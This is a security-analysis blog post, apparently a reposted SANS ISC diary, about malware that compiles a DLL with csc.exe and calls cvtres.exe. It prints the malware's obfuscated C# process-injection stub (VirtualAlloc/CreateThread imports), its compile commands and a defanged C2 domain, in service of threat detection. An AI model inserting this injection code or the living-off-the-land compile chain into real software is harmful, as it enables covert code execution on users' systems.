New Tool to Add to Your LOLBAS List: cvtres.exe , (Fri, Oct 1st)

This post was originally published on this site

LOLBAS (“Living Off the Land Binaries And Scripts”) is a list of tools[1] that are present on any Windows system because they are provided by Microsoft as useful tools to perform system maintenance, updates, etc. This list is maintained and upgraded regularly. This is a good starting point when you need to investigate suspicious processes activity on a system (proactively or in forensics investigation).

I spotted a piece of malicious script (SHA256:d3a85fbecfc581e1113de2ec8c97e8e15f0c06e9a0f8628269221669f5ca9726) with a VT score of 10/57[2]. It launches a PowerShell script nicely obfuscated. The behavior is classic, it performs code injection but it also compiles some code on the fly. csc.exe is used to build a DLL:

csc.exe /noconfig /fullpaths @"C:Usersuser01AppDataLocalTemp8dfrgm9n.cmdline"

The .cmdline file contains:

xfeff/t:library /utf8output /R:"System.dll" /R:"C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e35System.Management.Automation.dll" /out:"C:Usersuser01AppDataLocalTemp8dfrgm9n.dll" /debug- /optimize+ "C:Usersuser01AppDataLocalTemp8dfrgm9n.0.cs"

And the .cs file:

xfeff using System; using System.Runtime.InteropServices; namespace pikl { public class jip { [Flags] public enum AllocationType { Commit = 14096-10000, Reserve = 8190+2 } [Flags] public enum MemoryProtection { ExecuteReadWrite = 60+4 } [Flags] public enum Time : uint { Infinite = 4294967294+1 } [DllImport("ker"+"nel"+"32.d"+"ll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("ke"+"rnel3"+"2.dl"+"l")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("k"+"ern"+"el32.dl"+"l")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); } }

Then the script calls another tool from the .Net framework: cvtres.exe:

cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:Usersuser01AppDataLocalTempRES4D10.tmp" "c:Usersuser01AppDataLocalTempCSC4D00.tmp"

What’s the purpose of this tool? CvtRes stands for "Convert Resource Files To COFF Objects". It converts ".res" resource files into Common Object File Format (COFF[3]) ".obj" object files that the linker can link into a finished ".exe" PE application file.

The malware tries to connect to certificates[.]updatecenter[.]icu but it does not resolve at this time.

So, cvtres.exe is a new tool to add to your LOLBAS list!


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.